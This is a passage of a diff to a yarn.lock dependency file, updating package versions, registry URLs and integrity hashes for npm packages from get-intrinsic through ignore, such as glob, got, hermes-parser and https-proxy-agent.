+  resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.2.4.tgz#e385f5a4b5227d449c3eabbad05494ef0abbeadd"
+  integrity sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==
+  dependencies:
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+    has-proto "^1.0.1"
+    has-symbols "^1.0.3"
+    hasown "^2.0.0"
+
 get-package-type@^0.1.0:
   version "0.1.0"
   resolved "https://registry.yarnpkg.com/get-package-type/-/get-package-type-0.1.0.tgz#8de2d803cff44df3bc6c456e6668b36c3926e11a"
@@ -8529,7 +9544,7 @@ get-stream@^5.0.0, get-stream@^5.1.0:
   dependencies:
     pump "^3.0.0"
 
-get-stream@^6.0.0:
+get-stream@^6.0.0, get-stream@^6.0.1:
   version "6.0.1"
   resolved "https://registry.yarnpkg.com/get-stream/-/get-stream-6.0.1.tgz#a262d8eef67aced57c2852ad6167526a43cbf7b7"
   integrity sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==
@@ -8539,13 +9554,6 @@ get-value@^2.0.3, get-value@^2.0.6:
   resolved "https://registry.yarnpkg.com/get-value/-/get-value-2.0.6.tgz#dc15ca1c672387ca76bd37ac0a395ba2042a2c28"
   integrity sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=
 
-getpass@^0.1.1:
-  version "0.1.7"
-  resolved "https://registry.yarnpkg.com/getpass/-/getpass-0.1.7.tgz#5eff8e3e684d569ae4cb2b1282604e8ba62149fa"
-  integrity sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=
-  dependencies:
-    assert-plus "^1.0.0"
-
 gifsicle@^5.0.0:
   version "5.2.0"
   resolved "https://registry.yarnpkg.com/gifsicle/-/gifsicle-5.2.0.tgz#b06b25ed7530f033f6ed2c545d6f9b546cc182fb"
@@ -8565,15 +9573,6 @@ git-config-path@^1.0.1:
     fs-exists-sync "^0.1.0"
     homedir-polyfill "^1.0.0"
 
-git-rev-sync@2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/git-rev-sync/-/git-rev-sync-2.0.0.tgz#82fb77d9281efe7e7947569380dda4d1c19f4cb3"
-  integrity sha512-vnHFv2eocTmt/wHqZm3ksxtVshK4vptT0cEoumk6hAYRFx3do6Qo7xHBTBCv29+r3ZZCQOQ1i328MUCsYF7AUw==
-  dependencies:
-    escape-string-regexp "1.0.5"
-    graceful-fs "4.1.15"
-    shelljs "0.7.7"
-
 glob-parent@^3.1.0:
   version "3.1.0"
   resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-3.1.0.tgz#9e6af6299d8d3bd2bd40430832bd113df906c5ae"
@@ -8624,17 +9623,17 @@ glob-to-regexp@^0.4.1:
   resolved "https://registry.yarnpkg.com/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz#c75297087c851b9a578bd217dd59a92f59fe546e"
   integrity sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==
 
-glob@7.1.6, glob@^7.0.0, glob@^7.1.1, glob@^7.1.2, glob@^7.1.6:
-  version "7.1.6"
-  resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.6.tgz#141f33b81a7c2492e125594307480c46679278a6"
-  integrity sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==
+glob@10.4.2:
+  version "10.4.2"
+  resolved "https://registry.yarnpkg.com/glob/-/glob-10.4.2.tgz#bed6b95dade5c1f80b4434daced233aee76160e5"
+  integrity sha512-GwMlUF6PkPo3Gk21UxkCohOv0PLcIXVtKyLlpEI28R/cO/4eNOdmLk3CMW1wROV/WR/EsZOWAfBbBOqYvs88/w==
   dependencies:
-    fs.realpath "^1.0.0"
-    inflight "^1.0.4"
-    inherits "2"
-    minimatch "^3.0.4"
-    once "^1.3.0"
-    path-is-absolute "^1.0.0"
+    foreground-child "^3.1.0"
+    jackspeak "^3.1.2"
+    minimatch "^9.0.4"
+    minipass "^7.1.2"
+    package-json-from-dist "^1.0.0"
+    path-scurry "^1.11.1"
 
 glob@^10.2.5:
   version "10.2.7"
@@ -8647,6 +9646,18 @@ glob@^10.2.5:
     minipass "^5.0.0 || ^6.0.2"
     path-scurry "^1.7.0"
 
+glob@^10.3.10:
+  version "10.4.5"
+  resolved "https://registry.yarnpkg.com/glob/-/glob-10.4.5.tgz#f4d9f0b90ffdbab09c9d77f5f29b4262517b0956"
+  integrity sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==
+  dependencies:
+    foreground-child "^3.1.0"
+    jackspeak "^3.1.2"
+    minimatch "^9.0.4"
+    minipass "^7.1.2"
+    package-json-from-dist "^1.0.0"
+    path-scurry "^1.11.1"
+
 glob@^6.0.1:
   version "6.0.4"
   resolved "https://registry.yarnpkg.com/glob/-/glob-6.0.4.tgz#0f08860f6a155127b2fadd4f9ce24b1aab6e4d22"
@@ -8658,6 +9669,18 @@ glob@^6.0.1:
     once "^1.3.0"
     path-is-absolute "^1.0.0"
 
+glob@^7.0.0, glob@^7.1.1, glob@^7.1.6:
+  version "7.1.6"
+  resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.6.tgz#141f33b81a7c2492e125594307480c46679278a6"
+  integrity sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==
+  dependencies:
+    fs.realpath "^1.0.0"
+    inflight "^1.0.4"
+    inherits "2"
+    minimatch "^3.0.4"
+    once "^1.3.0"
+    path-is-absolute "^1.0.0"
+
 glob@^7.1.3, glob@^7.1.4:
   version "7.2.3"
   resolved "https://registry.yarnpkg.com/glob/-/glob-7.2.3.tgz#b8df0fb802bbfa8e89bd1d938b4e16578ed44f2b"
@@ -8693,13 +9716,6 @@ global-agent@^3.0.0:
     semver "^7.3.2"
     serialize-error "^7.0.1"
 
-global-dirs@^0.1.0:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/global-dirs/-/global-dirs-0.1.1.tgz#b319c0dd4607f353f3be9cca4c72fc148c49f445"
-  integrity sha1-sxnA3UYH81PzvpzKTHL8FIxJ9EU=
-  dependencies:
-    ini "^1.3.4"
-
 global-dirs@^2.0.1:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/global-dirs/-/global-dirs-2.0.1.tgz#acdf3bb6685bcd55cb35e8a052266569e9469201"
@@ -8707,11 +9723,25 @@ global-dirs@^2.0.1:
   dependencies:
     ini "^1.3.5"
 
-globals@^11.1.0, globals@^11.7.0:
+global-dirs@^3.0.0:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/global-dirs/-/global-dirs-3.0.1.tgz#0c488971f066baceda21447aecb1a8b911d22485"
+  integrity sha512-NBcGGFbBA9s1VzD41QXDG+3++t9Mn5t1FpLdhESY6oKY4gYTFpX4wO3sqGUa0Srjtbfj3szX0RnemmrVRUdULA==
+  dependencies:
+    ini "2.0.0"
+
+globals@^11.1.0:
   version "11.12.0"
   resolved "https://registry.yarnpkg.com/globals/-/globals-11.12.0.tgz#ab8795338868a0babd8525758018c2a7eb95c42e"
   integrity sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==
 
+globals@^13.19.0:
+  version "13.24.0"
+  resolved "https://registry.yarnpkg.com/globals/-/globals-13.24.0.tgz#8432a19d78ce0c1e833949c36adb345400bb1171"
+  integrity sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==
+  dependencies:
+    type-fest "^0.20.2"
+
 globals@^13.6.0, globals@^13.9.0:
   version "13.19.0"
   resolved "https://registry.yarnpkg.com/globals/-/globals-13.19.0.tgz#7a42de8e6ad4f7242fbcca27ea5b23aca367b5c8"
@@ -8802,6 +9832,13 @@ google-closure-compiler@^20230206.0.0:
     google-closure-compiler-osx "^20230206.0.0"
     google-closure-compiler-windows "^20230206.0.0"
 
+gopd@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/gopd/-/gopd-1.0.1.tgz#29ff76de69dac7489b7c0918a5788e56477c332c"
+  integrity sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==
+  dependencies:
+    get-intrinsic "^1.1.3"
+
 got@^11.1.4, got@^11.8.5:
   version "11.8.6"
   resolved "https://registry.yarnpkg.com/got/-/got-11.8.6.tgz#276e827ead8772eddbcfc97170590b841823233a"
@@ -8819,22 +9856,22 @@ got@^11.1.4, got@^11.8.5:
     p-cancelable "^2.0.0"
     responselike "^2.0.0"
 
-got@^6.7.1:
-  version "6.7.1"
-  resolved "https://registry.yarnpkg.com/got/-/got-6.7.1.tgz#240cd05785a9a18e561dc1b44b41c763ef1e8db0"
-  integrity sha1-JAzQV4WpoY5WHcG0S0HHY+8ejbA=
+got@^12.1.0:
+  version "12.6.1"
+  resolved "https://registry.yarnpkg.com/got/-/got-12.6.1.tgz#8869560d1383353204b5a9435f782df9c091f549"
+  integrity sha512-mThBblvlAF1d4O5oqyvN+ZxLAYwIJK7bpMxgYqPD9okW0C3qm5FFn7k811QrcuEBwaogR3ngOFoCfs6mRv7teQ==
   dependencies:
-    create-error-class "^3.0.0"
-    duplexer3 "^0.1.4"
-    get-stream "^3.0.0"
-    is-redirect "^1.0.0"
-    is-retry-allowed "^1.0.0"
-    is-stream "^1.0.0"
-    lowercase-keys "^1.0.0"
-    safe-buffer "^5.0.1"
-    timed-out "^4.0.0"
-    unzip-response "^2.0.1"
-    url-parse-lax "^1.0.0"
+    "@sindresorhus/is" "^5.2.0"
+    "@szmarczak/http-timer" "^5.0.1"
+    cacheable-lookup "^7.0.0"
+    cacheable-request "^10.2.8"
+    decompress-response "^6.0.0"
+    form-data-encoder "^2.1.2"
+    get-stream "^6.0.1"
+    http2-wrapper "^2.1.10"
+    lowercase-keys "^3.0.0"
+    p-cancelable "^3.0.0"
+    responselike "^3.0.0"
 
 got@^7.0.0:
   version "7.1.0"
@@ -8896,10 +9933,10 @@ got@^9.6.0:
     to-readable-stream "^1.0.0"
     url-parse-lax "^3.0.0"
 
-graceful-fs@4.1.15:
-  version "4.1.15"
-  resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.1.15.tgz#ffb703e1066e8a0eeaa4c8b80ba9253eeefbfb00"
-  integrity sha512-6uHUhOPEBgQ24HM+r6b/QwWfZq+yiFcipKFrOFiBEnWdy5sdzYoi+pJeQaPI5qOLRFqWmAXUPQNsielzdLoecA==
+graceful-fs@4.2.10:
+  version "4.2.10"
+  resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.10.tgz#147d3a006da4ca3ce14728c7aefc287c367d7a6c"
+  integrity sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==
 
 graceful-fs@^4.1.0, graceful-fs@^4.1.6, graceful-fs@^4.2.0:
   version "4.2.3"
@@ -8949,19 +9986,6 @@ handle-thing@^2.0.0:
   resolved "https://registry.yarnpkg.com/handle-thing/-/handle-thing-2.0.0.tgz#0e039695ff50c93fc288557d696f3c1dc6776754"
   integrity sha512-d4sze1JNC454Wdo2fkuyzCr6aHcbL6PGGuFAz0Li/NcOm1tCHGnWDRmJP85dh9IhQErTc2svWFEX5xHIOo//kQ==
 
-har-schema@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/har-schema/-/har-schema-2.0.0.tgz#a94c2224ebcac04782a0d9035521f24735b7ec92"
-  integrity sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=
-
-har-validator@~5.1.0:
-  version "5.1.3"
-  resolved "https://registry.yarnpkg.com/har-validator/-/har-validator-5.1.3.tgz#1ef89ebd3e4996557675eed9893110dc350fa080"
-  integrity sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==
-  dependencies:
-    ajv "^6.5.5"
-    har-schema "^2.0.0"
-
 has-ansi@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/has-ansi/-/has-ansi-2.0.0.tgz#34f5049ce1ecdf2b0649af3ef24e45ed35416d91"
@@ -8989,6 +10013,18 @@ has-flag@^4.0.0:
   resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
   integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
 
+has-property-descriptors@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz#963ed7d071dc7bf5f084c5bfbe0d1b6222586854"
+  integrity sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==
+  dependencies:
+    es-define-property "^1.0.0"
+
+has-proto@^1.0.1:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/has-proto/-/has-proto-1.0.3.tgz#b31ddfe9b0e6e9914536a6ab286426d0214f77fd"
+  integrity sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q==
+
 has-symbol-support-x@^1.4.1:
   version "1.4.2"
   resolved "https://registry.yarnpkg.com/has-symbol-support-x/-/has-symbol-support-x-1.4.2.tgz#1409f98bc00247da45da67cee0a36f282ff26455"
@@ -9009,6 +10045,11 @@ has-symbols@^1.0.2:
   resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.2.tgz#165d3070c00309752a1236a479331e3ac56f1423"
   integrity sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==
 
+has-symbols@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.3.tgz#bb7b2c4349251dce87b125f7bdf874aa7c8b39f8"
+  integrity sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==
+
 has-to-string-tag-x@^1.2.0:
   version "1.4.1"
   resolved "https://registry.yarnpkg.com/has-to-string-tag-x/-/has-to-string-tag-x-1.4.1.tgz#a045ab383d7b4b2012a00148ab0aa5f290044d4d"
@@ -9052,6 +10093,11 @@ has-yarn@^2.1.0:
   resolved "https://registry.yarnpkg.com/has-yarn/-/has-yarn-2.1.0.tgz#137e11354a7b5bf11aa5cb649cf0c6f3ff2b2e77"
   integrity sha512-UqBRqi4ju7T+TqGNdqAO0PaSVGsDGJUBQvk9eUWNGRY1CFGDzYhLWoM7JQEemnlvVcv/YEmc2wNW8BC24EnUsw==
 
+has-yarn@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/has-yarn/-/has-yarn-3.0.0.tgz#c3c21e559730d1d3b57e28af1f30d06fac38147d"
+  integrity sha512-IrsVwUHhEULx3R8f/aA8AHuEzAorplsab/v8HBzEiIukwq5i/EC+xmOW+HfP1OaDP+2JkgT1yILHN2O3UFIbcA==
+
 has@^1.0.1:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/has/-/has-1.0.3.tgz#722d7cbfc1f6aa8241f16dd814e011e1f41e8796"
@@ -9064,33 +10110,57 @@ has@^1.0.3:
   resolved "https://registry.yarnpkg.com/has/-/has-1.0.4.tgz#2eb2860e000011dae4f1406a86fe80e530fb2ec6"
   integrity sha512-qdSAmqLF6209RFj4VVItywPMbm3vWylknmB3nvNiUIs72xAimcM8nVYxYr7ncvZq5qzk9MKIZR8ijqD/1QuYjQ==
 
-hasown@^2.0.0:
+hasown@^2.0.0, hasown@^2.0.2:
   version "2.0.2"
   resolved "https://registry.yarnpkg.com/hasown/-/hasown-2.0.2.tgz#003eaf91be7adc372e84ec59dc37252cedb80003"
   integrity sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==
   dependencies:
     function-bind "^1.1.2"
 
-hermes-eslint@^0.20.1:
-  version "0.20.1"
-  resolved "https://registry.yarnpkg.com/hermes-eslint/-/hermes-eslint-0.20.1.tgz#4a731b47a6d169bbd4514aaa74bd812fd90f3554"
-  integrity sha512-EhdvFV6RkPIJvbqN8oqFZO1oF4NlPWMjhMjCWkUJX1YL1MZMfkF7nSdx6RKTq6xK17yo+Bgv88L21xuH9GtRpw==
+hermes-eslint@^0.32.0:
+  version "0.32.0"
+  resolved "https://registry.yarnpkg.com/hermes-eslint/-/hermes-eslint-0.32.0.tgz#a23bcaece522f356cb1b8e990e57117dca13852d"
+  integrity sha512-f/gnFD3Nl7QNrclG6otkHnHsUbwYrJGO76AMtoDeIYs2+i7fFgqJgSg7DKwejTtAKBoXQg51hAQuo9cgcp1R1w==
   dependencies:
     esrecurse "^4.3.0"
-    hermes-estree "0.20.1"
-    hermes-parser "0.20.1"
+    hermes-estree "0.32.0"
+    hermes-parser "0.32.0"
+
+hermes-estree@0.25.1:
+  version "0.25.1"
+  resolved "https://registry.yarnpkg.com/hermes-estree/-/hermes-estree-0.25.1.tgz#6aeec17d1983b4eabf69721f3aa3eb705b17f480"
+  integrity sha512-0wUoCcLp+5Ev5pDW2OriHC2MJCbwLwuRx+gAqMTOkGKJJiBCLjtrvy4PWUGn6MIVefecRpzoOZ/UV6iGdOr+Cw==
 
-hermes-estree@0.20.1:
-  version "0.20.1"
-  resolved "https://registry.yarnpkg.com/hermes-estree/-/hermes-estree-0.20.1.tgz#0b9a544cf883a779a8e1444b915fa365bef7f72d"
-  integrity sha512-SQpZK4BzR48kuOg0v4pb3EAGNclzIlqMj3Opu/mu7bbAoFw6oig6cEt/RAi0zTFW/iW6Iz9X9ggGuZTAZ/yZHg==
+hermes-estree@0.29.1:
+  version "0.29.1"
+  resolved "https://registry.yarnpkg.com/hermes-estree/-/hermes-estree-0.29.1.tgz#043c7db076e0e8ef8c5f6ed23828d1ba463ebcc5"
+  integrity sha512-jl+x31n4/w+wEqm0I2r4CMimukLbLQEYpisys5oCre611CI5fc9TxhqkBBCJ1edDG4Kza0f7CgNz8xVMLZQOmQ==
 
-hermes-parser@0.20.1, hermes-parser@^0.20.1:
-  version "0.20.1"
-  resolved "https://registry.yarnpkg.com/hermes-parser/-/hermes-parser-0.20.1.tgz#ad10597b99f718b91e283f81cbe636c50c3cff92"
-  integrity sha512-BL5P83cwCogI8D7rrDCgsFY0tdYUtmFP9XaXtl2IQjC+2Xo+4okjfXintlTxcIwl4qeGddEl28Z11kbVIw0aNA==
+hermes-estree@0.32.0:
+  version "0.32.0"
+  resolved "https://registry.yarnpkg.com/hermes-estree/-/hermes-estree-0.32.0.tgz#bb7da6613ab8e67e334a1854ea1e209f487d307b"
+  integrity sha512-KWn3BqnlDOl97Xe1Yviur6NbgIZ+IP+UVSpshlZWkq+EtoHg6/cwiDj/osP9PCEgFE15KBm1O55JRwbMEm5ejQ==
+
+hermes-parser@0.29.1:
+  version "0.29.1"
+  resolved "https://registry.yarnpkg.com/hermes-parser/-/hermes-parser-0.29.1.tgz#436b24bcd7bb1e71f92a04c396ccc0716c288d56"
+  integrity sha512-xBHWmUtRC5e/UL0tI7Ivt2riA/YBq9+SiYFU7C1oBa/j2jYGlIF9043oak1F47ihuDIxQ5nbsKueYJDRY02UgA==
+  dependencies:
+    hermes-estree "0.29.1"
+
+hermes-parser@0.32.0, hermes-parser@^0.32.0:
+  version "0.32.0"
+  resolved "https://registry.yarnpkg.com/hermes-parser/-/hermes-parser-0.32.0.tgz#7916984ef6fdce62e7415d354cf35392061cd303"
+  integrity sha512-g4nBOWFpuiTqjR3LZdRxKUkij9iyveWeuks7INEsMX741f3r9xxrOe8TeQfUxtda0eXmiIFiMQzoeSQEno33Hw==
+  dependencies:
+    hermes-estree "0.32.0"
+
+hermes-parser@^0.25.1:
+  version "0.25.1"
+  resolved "https://registry.yarnpkg.com/hermes-parser/-/hermes-parser-0.25.1.tgz#5be0e487b2090886c62bd8a11724cd766d5f54d1"
+  integrity sha512-6pEjquH3rqaI6cYAXYPcz9MS4rY6R4ngRgrgfDshRptUZIc3lw0MCIJIGDj9++mfySOuPTHB4nrSW99BCvOPIA==
   dependencies:
-    hermes-estree "0.20.1"
+    hermes-estree "0.25.1"
 
 homedir-polyfill@^1.0.0, homedir-polyfill@^1.0.1:
   version "1.0.3"
@@ -9136,17 +10206,15 @@ html-escaper@^2.0.0:
   resolved "https://registry.yarnpkg.com/html-escaper/-/html-escaper-2.0.2.tgz#dfd60027da36a36dfcbe236262c00a5822681453"
   integrity sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==
 
-htmlparser2@^3.9.1:
-  version "3.10.1"
-  resolved "https://registry.yarnpkg.com/htmlparser2/-/htmlparser2-3.10.1.tgz#bd679dc3f59897b6a34bb10749c855bb53a9392f"
-  integrity sha512-IgieNijUMbkDovyoKObU1DUhm1iwNYE/fuifEoEHfd1oZKZDaONBSkal7Y01shxsM49R4XaMdGez3WnF9UfiCQ==
+htmlparser2@^8.0.1:
+  version "8.0.2"
+  resolved "https://registry.yarnpkg.com/htmlparser2/-/htmlparser2-8.0.2.tgz#f002151705b383e62433b5cf466f5b716edaec21"
+  integrity sha512-GYdjWKDkbRLkZ5geuHs5NY1puJ+PXwP7+fHPRz06Eirsb9ugf6d8kkXav6ADhcODhFFPMIXyxkxSuMf3D6NCFA==
   dependencies:
-    domelementtype "^1.3.1"
-    domhandler "^2.3.0"
-    domutils "^1.5.1"
-    entities "^1.1.1"
-    inherits "^2.0.1"
-    readable-stream "^3.1.1"
+    domelementtype "^2.3.0"
+    domhandler "^5.0.3"
+    domutils "^3.0.1"
+    entities "^4.4.0"
 
 http-browserify@^1.3.2:
   version "1.7.0"
@@ -9166,6 +10234,11 @@ http-cache-semantics@^4.0.0:
   resolved "https://registry.yarnpkg.com/http-cache-semantics/-/http-cache-semantics-4.0.3.tgz#495704773277eeef6e43f9ab2c2c7d259dda25c5"
   integrity sha512-TcIMG3qeVLgDr1TEd2XvHaTnMPwYQUQMIBLy+5pLSDKYFc7UIqj39w8EGzZkaxoLv/l2K8HaI0t5AVA+YYgUew==
 
+http-cache-semantics@^4.1.1:
+  version "4.1.1"
+  resolved "https://registry.yarnpkg.com/http-cache-semantics/-/http-cache-semantics-4.1.1.tgz#abe02fcb2985460bf0323be664436ec3476a6d5a"
+  integrity sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ==
+
 http-deceiver@^1.2.7:
   version "1.2.7"
   resolved "https://registry.yarnpkg.com/http-deceiver/-/http-deceiver-1.2.7.tgz#fa7168944ab9a519d337cb0bec7284dc3e723d87"
@@ -9231,15 +10304,6 @@ http-proxy@^1.18.1:
     follow-redirects "^1.0.0"
     requires-port "^1.0.0"
 
-http-signature@~1.2.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/http-signature/-/http-signature-1.2.0.tgz#9aecd925114772f3d95b65a60abb8f7c18fbace1"
-  integrity sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=
-  dependencies:
-    assert-plus "^1.0.0"
-    jsprim "^1.2.2"
-    sshpk "^1.7.0"
-
 http2-wrapper@^1.0.0-beta.5.2:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/http2-wrapper/-/http2-wrapper-1.0.3.tgz#b8f55e0c1f25d4ebd08b3b0c2c079f9590800b3d"
@@ -9248,19 +10312,19 @@ http2-wrapper@^1.0.0-beta.5.2:
     quick-lru "^5.1.1"
     resolve-alpn "^1.0.0"
 
+http2-wrapper@^2.1.10:
+  version "2.2.1"
+  resolved "https://registry.yarnpkg.com/http2-wrapper/-/http2-wrapper-2.2.1.tgz#310968153dcdedb160d8b72114363ef5fce1f64a"
+  integrity sha512-V5nVw1PAOgfI3Lmeaj2Exmeg7fenjhRUgz1lPSezy1CuhPYbgQtbQj4jZfEAEMlaL+vupsvhjqCyjzob0yxsmQ==
+  dependencies:
+    quick-lru "^5.1.1"
+    resolve-alpn "^1.2.0"
+
 https-browserify@0.0.0:
   version "0.0.0"
   resolved "https://registry.yarnpkg.com/https-browserify/-/https-browserify-0.0.0.tgz#b3ffdfe734b2a3d4a9efd58e8654c91fce86eafd"
   integrity sha1-s//f5zSyo9Sp79WOhlTJH86G6v0=
 
-https-proxy-agent@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.yarnpkg.com/https-proxy-agent/-/https-proxy-agent-5.0.0.tgz#e2a90542abb68a762e0a0850f6c9edadfd8506b2"
-  integrity sha512-EkYm5BcKUGiduxzSt3Eppko+PiNWNEpa4ySk9vTC6wDsQJW9rHSa+UhGNJoRYp7bz6Ht1eaRIa6QaJqO5rCFbA==
-  dependencies:
-    agent-base "6"
-    debug "4"
-
 https-proxy-agent@^5.0.1:
   version "5.0.1"
   resolved "https://registry.yarnpkg.com/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz#c59ef224a04fe8b754f3db0063a25ea30d0005d6"
@@ -9269,6 +10333,14 @@ https-proxy-agent@^5.0.1:
     agent-base "6"
     debug "4"
 
+https-proxy-agent@^7.0.0:
+  version "7.0.5"
+  resolved "https://registry.yarnpkg.com/https-proxy-agent/-/https-proxy-agent-7.0.5.tgz#9e8b5013873299e11fab6fd548405da2d6c602b2"
+  integrity sha512-1e4Wqeblerz+tMKPIq2EMGiiWW1dIjZOksyHWSUm1rmuvw/how9hBHZ38lAGj5ID4Ik6EdkOw7NmWPy6LAwalw==
+  dependencies:
+    agent-base "^7.0.2"
+    debug "4"
+
 human-signals@^1.1.1:
   version "1.1.1"
   resolved "https://registry.yarnpkg.com/human-signals/-/human-signals-1.1.1.tgz#c5b1cd14f50aeae09ab6c59fe63ba3395fe4dfa3"
@@ -9279,6 +10351,11 @@ human-signals@^2.1.0:
   resolved "https://registry.yarnpkg.com/human-signals/-/human-signals-2.1.0.tgz#dc91fcba42e4d06e4abaed33b3e7a3c02f514ea0"
   integrity sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==
 
+human-signals@^4.3.0:
+  version "4.3.1"
+  resolved "https://registry.yarnpkg.com/human-signals/-/human-signals-4.3.1.tgz#ab7f811e851fca97ffbd2c1fe9a958964de321b2"
+  integrity sha512-nZXjEF2nbo7lIw3mgYjItAfgQXog3OjJogSbKa2CQIIvSGWcKgeJnQlNXip6NglNzYH45nSRiEVimMvYL8DDqQ==
+
 hyperlinker@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/hyperlinker/-/hyperlinker-1.0.0.tgz#23dc9e38a206b208ee49bc2d6c8ef47027df0c0e"
@@ -9289,7 +10366,7 @@ hyphenate-style-name@^1.0.2, hyphenate-style-name@^1.0.3:
   resolved "https://registry.yarnpkg.com/hyphenate-style-name/-/hyphenate-style-name-1.0.3.tgz#097bb7fa0b8f1a9cf0bd5c734cf95899981a9b48"
   integrity sha512-EcuixamT82oplpoJ2XU4pDtKGWQ7b00CD9f1ug9IaQ3p1bkHMiKCZ9ut9QDI6qsa6cpUuB+A/I+zLtdNK4n2DQ==
 
-iconv-lite@0.4.24, iconv-lite@^0.4.24, iconv-lite@~0.4.13:
+iconv-lite@0.4.24, iconv-lite@~0.4.13:
   version "0.4.24"
   resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.4.24.tgz#2022b4b25fbddc21d2f524974a474aafe733908b"
   integrity sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==
@@ -9352,6 +10429,18 @@ ignore@^5.2.0:
   resolved "https://registry.yarnpkg.com/ignore/-/ignore-5.3.1.tgz#5073e554cd42c5b33b394375f538b8593e34d4ef"
   integrity sha512-5Fytz/IraMjqpwfd34ke28PTVMjZjJG2MPn5t7OE4eUCUNf8BAa7b5WUS9/Qvr6mwOQS7Mk6vdsMno5he+T8Xw==
 
+ignore@^5.2.4:
+  version "5.3.2"
+  resolved "https://registry.yarnpkg.com/ignore/-/ignore-5.3.2.tgz#3cd40e729f3643fd87cb04e50bf0eb722bc596f5"
